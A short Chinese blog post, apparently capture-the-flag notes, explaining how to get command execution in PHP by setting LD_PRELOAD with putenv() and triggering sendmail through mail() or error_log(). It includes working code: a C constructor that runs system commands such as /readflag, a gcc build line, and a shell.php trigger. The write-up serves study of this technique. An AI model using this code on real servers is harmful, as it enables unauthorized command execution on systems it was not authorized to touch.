LD_PRELOAD

LD_PRELOAD

LD_PRELOAD:
是Linux系统的一个环境变量,它指定的.so文件会在程序本身的.so文件之前被加载。
putenv():
PHP函数,可以设置环境变量
mail(),error_log()
PHP函数,在运行时会执行系统中的程序:sendmail

构造一个带命令执行的eval.os文件,让其被LD_PRELOAD加载;然后在PHP中调用mail函数或error_log函数,函数内部会执行系统的sendmail命令;这样我们构造的eval.os就会加载并覆盖sendmail本应调用的库函数,达到命令执行的效果。

写一个hack.c文件

#include <stdlib.h>
#include <stdio.h> 
#include <string.h>

__attribute__ ((__constructor__)) void hack(void)
{
    unsetenv("LD_PRELOAD");
    system("echo any_other_eval_code");
    system("/readflag > /tmp/flag");
}

__attribute__ ((__constructor__))这个参数,它的效果是使得被自己修饰的函数在main函数前执行。

C 语言扩展修饰符
attribute((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 attribute((constructor))
修饰的函数。

然后使用gcc命令(实测我的windows上的gcc编译出来的so文件没用,kali上的有用,后来得知必须在相同系统下编译的才有用,这里理所当然是inux系统,现在想想,毕竟是动态链接库,不同系统怎么可能有用)

gcc -shared -fPIC hack.c -o eval.so

将这个源文件编译成动态链接库文件,并将其上传到服务器的/tmp目录下。(就得是/tmp/其它目录也执行不了)

shell.php文件:

<?php
putenv("LD_PRELOAD=/tmp/eval.so");
mail("", "", "", "");
error_log("",1,"","");
?>

用文件包含或者写入一个可执行php文件的形式都行

这样它就会执行那个恶意的so文件了


  转载请注明: Liloong3t's Blog LD_PRELOAD

  目录